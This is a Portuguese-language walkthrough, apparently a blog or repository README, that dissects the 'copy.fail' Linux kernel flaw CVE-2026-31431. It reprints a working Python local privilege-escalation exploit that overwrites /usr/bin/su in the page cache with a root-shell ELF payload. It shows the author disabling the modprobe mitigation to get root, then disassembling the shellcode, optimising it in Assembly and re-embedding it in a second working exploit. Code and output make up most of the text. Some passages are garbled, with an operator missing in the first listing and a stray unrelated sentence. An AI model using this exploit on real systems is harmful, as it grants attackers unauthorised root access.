CVE-2026-31431 (Falha de Cópia) — Análise e desenvolvimento em Assembly x86-64
Tomando como base o código-fonte publicado em Theori, vamos fazer vários exercícios até convertê-lo totalmente para linguagem Assembly pura (sem bibliotecas externas).```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## Ambiente de testes
Vamos realizar o exercício na seguinte máquina.```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
Executamos o programa em Python para validar se o sistema é vulnerável. Se der erro, não é vulnerável; se abrir o shell sh, é vulnerável.```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### Desativar a mitigação
Nesta máquina, a mitigação foi baixada por meio das atualizações automáticas de segurança, por isso falhou. Para testar, reduzimos a defesa renomeando o arquivo onde a mitigação se encontra.```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
Testamos novamente o programa e agora sim, nos devolve o shell e comprovamos que somos root.```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### Reativar a proteção
Uma vez finalizado o exercício, executamos o seguinte para ativar a proteção novamente:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
O primeiro que devemos analisar é do que se trata a string que está comprimida com zlib. Para isso criamos um programa em Python, decompress.py, que a descomprime e gera um arquivo: output.bin.```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
Executamos e analisamos o tipo de arquivo.```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Agora que sabemos que é um arquivo ELF 64-bit LSB executable, vamos investigá-lo.```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
A estrutura ELF ocupa **120 bytes**: **ELF header** (64 bytes) + **Program header** (56 bytes). O código de máquina começa a partir do byte 120 (0x78), que coincide com o **Entry point address: 0x400078**.
### Desmontagem do código
Tendo o **Entry point address: 0x400078**, já podemos começar a desmontar o código.```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
Explicação de cada parâmetro:
-D — Disassemble All. Desmonta todo o conteúdo do arquivo, não apenas as seções marcadas como código. Sem isso, -d apenas desmonta .text, e como este arquivo não possui seções ELF (é binário puro), não mostraria nada.-b binary — Binary format. Diz ao objdump para tratar o arquivo como dados brutos, sem tentar analisar cabeçalhos ELF. Sem isso, o objdump tentaria ler o cabeçalho ELF do arquivo e falharia ou desmontaria incorretamente.-m i386:x86-64 — Machine architecture. Indica o conjunto de instruções para desmontar. i386 é a família base, :x86-64 especifica o modo 64-bit. É necessário quando se usa -b binary, porque ao não haver cabeçalhos ELF, objdump não tem como saber a arquitetura. Sem -m, assume i386 (32-bit) e a desmontagem sai errada — instruções de 64 bits como lea rdi, [rip+0xf] são decodificadas como lixo.-M intel — Syntax mode. Usa sintaxe Intel () em vez de AT&T ().Em resumo: com -b binary, o -m é obrigatório porque objdump não pode inferir a arquitetura sem um cabeçalho ELF. Com um arquivo ELF normal (sem -b binary), -m não é necessário porque a arquitetura está em e_machine do cabeçalho.
O parâmetro -z neste caso é fundamental, porque como veremos mais adiante há zeros que são usados como padding e sem este parâmetro mostraria o que está a seguir e não teríamos a desmontagem exata.```bash
9d: 00 00 add BYTE PTR [rax],al
...
### Identificação da string "/bin/sh"
Na saída do objdump, vemos:```bash
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
e na localização 0x80, temos:```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
Interpretando esta última linha, inferimos que se trata de uma string, que começa na localização 0x96 e termina em 0x9F. Podemos ver a string das seguintes formas:```bash
> $ strings -t x output.bin
96 /bin/sh
> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000 /bin/sh...
O primeiro 00 é o terminador nulo que marca o fim da string (/bin/sh\0). Os dois 00 restantes são padding de alinhamento.
Passando o código a limpo, temos:```assembly ; Archivo: payload.asm
BITS 64
section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)
lea rdi, [rel shell_string] ; rdi -> "/bin/sh"
xor esi, esi ; rsi = 0 (argv = NULL)
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación
> O padding garante que o total seja divisível por 4, já que o exploit em Python escreve o payload no page cache em chunks de 4 bytes. Se o tamanho não fosse múltiplo de 4, o último chunk ficaria incompleto e a escrita seria incorreta.
### Verificação de identidade com o original
Comprovamos que este código é idêntico ao arquivo **output.bin** que geramos a partir de descompactar a string, compilando como binário:```bash
> $ nasm -f bin payload.asm -o payload.bin
Extraímos apenas o código do arquivo output.bin. Como sabemos que os primeiros 120 bytes correspondem à estrutura ELF, pulamos essa quantidade de bytes.```bash
$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s
Confirmamos que nosso código é idêntico ao payload original. São mostradas três formas de fazê-lo.```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical
> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos
> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin
-->> Idénticos
Tendo a certeza de que o código payload.asm corresponde exatamente ao original, vamos otimizá-lo.```assembly ; Archivo: payload-optimized.asm
BITS 64
section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)
xor esi, esi ; rsi = 0 (argv = NULL)
mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0"
push rbx ; string al stack
push rsp ; push dirección del string
pop rdi ; rdi → "/bin/sh" en stack
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
db 0 ; padding de alineación
Padding de alinhamento: 120 (cabeçalhos) + 35 (código) = 155 -> +1 byte = 156 / 4 = 39 chunks.
Na **Parte 2** veremos em detalhe o porquê de cada otimização.
Compilamos:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin
Para executar os payloads diretamente, devemos compilá-los e linká-los da seguinte forma:```bash
$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $
$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $
Se quisermos eliminar o warning, depois de **`section .text`** deveríamos adicionar as seguintes linhas:```assembly
global _start
_start:
Juntamos os cabeçalhos ELF (os primeiros 120 bytes) do payload original (output.bin) e o payload otimizado de 36 bytes (payload-optimized.bin). Fazemos algumas verificações, atribuímos permissões de execução e ao executar obtemos o shell.```bash
$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s
$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ chmod +x payload-optimized.elf
$ ./payload-optimized.elf $
## Análise das Cabeçalhos ELF
Ao concatenar os cabeçalhos (120 bytes) do ELF original com nosso payload otimizado (36 bytes), o arquivo resultante tem 156 bytes, mas os campos **p_filesz** e **p_memsz** nos cabeçalhos ainda indicam 158, o valor do arquivo original de 160 bytes. Vamos analisar e corrigir esses campos.
Para isso precisamos conhecer as estruturas dos cabeçalhos de um arquivo ELF.```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr
struct Elf64_Ehdr { // Offset Bytes
unsigned char e_ident[16]; // 0x00 16
uint16_t e_type; // 0x10 2
uint16_t e_machine; // 0x12 2
uint32_t e_version; // 0x14 4
uint64_t e_entry; // 0x18 8
uint64_t e_phoff; // 0x20 8
uint64_t e_shoff; // 0x28 8
uint32_t e_flags; // 0x30 4
uint16_t e_ehsize; // 0x34 2
uint16_t e_phentsize; // 0x36 2
uint16_t e_phnum; // 0x38 2
uint16_t e_shentsize; // 0x3A 2
uint16_t e_shnum; // 0x3C 2
uint16_t e_shstrndx; // 0x3E 2
}; // Total: 64 bytes
// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr
struct Elf64_Phdr { // Offset Bytes
uint32_t p_type; // 0x40 4
uint32_t p_flags; // 0x44 4
uint64_t p_offset; // 0x48 8
uint64_t p_vaddr; // 0x50 8
uint64_t p_paddr; // 0x58 8
uint64_t p_filesz; // 0x60 8
uint64_t p_memsz; // 0x68 8
uint64_t p_align; // 0x70 8
}; // Total: 56 bytes
Observamos quais valores têm p_filesz e p_memsz do Program Header. Indicam quantos bytes do segmento existem no arquivo em disco e quantos são reservados em memória ao carregar.
Os offsets de p_filesz e p_memsz são 0x60 e 0x68 respectivamente.```bash
$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000
$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000
### Verificação de endianness
Visualmente notamos que os valores estão em **little-endian**, já que se estivessem em big-endian seriam valores enormes e não coincidiriam com o tamanho de 160 bytes. Para confirmar, verificamos qual valor **e_ident[5]** do cabeçalho ELF possui.
Os possíveis valores são:
| Valor | Constante | Significado |
|---|---|---|
| 0x01 | ELFDATA2LSB | Little-endian (x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | Big-endian (SPARC, PowerPC, MIPS BE) |
Executamos:```bash
> $ xxd -s 5 -l 1 -p output.bin
01
Confirmado que está em little-endian. Vemos os valores em decimal:```bash
$ od -An -t u8 -j 0x60 -N 8 output.bin 158
$ od -An -t u8 -j 0x68 -N 8 output.bin 158
### Comparação de tamanhos
Listamos os tamanhos dos arquivos.```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
O tamanho do arquivo original é de 160 bytes, mas na estrutura tem atribuídos 158 bytes. Isso se deve ao fato de que o arquivo tem dois bytes de padding no final e o autor decidiu ser preciso e indicar apenas os bytes que serão carregados. Se em vez de 158 tivesse 160, também executaria corretamente porque os dois bytes de padding nunca são executados (estão depois de exit) e também não são referenciados.
Nosso arquivo otimizado ocupa 156 bytes e tem um byte de padding. Seguindo a mesma linha de precisão do autor do programa, vamos definir p_filesz e p_memsz em 155.
Convertemos 155 decimal para hexadecimal.```bash
$ echo "obase=16; 155" | bc 9B
$ printf '%x\n' 155 9b
É uma boa prática que os campos **p_filesz** e **p_memsz** do Program Header tenham os valores corretos.```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s
Confirmamos que as alterações foram aplicadas corretamente.```bash
$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155
$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155
Também podemos confirmar vendo o Program Header.```bash
> $ readelf -l payload-optimized.elf
Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000009b 0x000000000000009b R E 0x1000
Nós o executamos e ele continua funcionando corretamente.```bash
$ ./payload-optimized.elf $
## Integração no exploit
Criamos um programa que comprime o payload otimizado e devolve a string hexadecimal para inseri-lo no exploit.```python
# Archivo: compress.py
import zlib
with open("payload-optimized.elf", "rb") as f:
data = f.read()
compressed = zlib.compress(data)
print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())
É quase certo que os atacantes explorarão vetores relacionados à identidade```bash
$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6
Substituímos a string comprimida no exploit original pela nova string otimizada.```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Testamos o exploit com o payload otimizado e confirmamos que funciona corretamente.```bash
$ python3 copyfail-optimized.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
> ⚠️ Não esquecer [reativar a proteção](#reactivar-la-protección) uma vez finalizado o teste.
## Contato
Se tiver dúvidas, sugestões ou correções, escreva-me indicando o nome do repositório para:
✉️ `[email protected]`
mov al, 0x69mov $0x69, %al-z — Desativa a supressão de sequências de zeros. Desta forma mostra tudo sem omitir zeros.--start-address=0x78 — Começar a partir do offset 0x78 (120 bytes). Pula os cabeçalhos ELF e o program header do payload, desmontando apenas o código de máquina. Sem isso, desmontaria os cabeçalhos como se fossem instruções.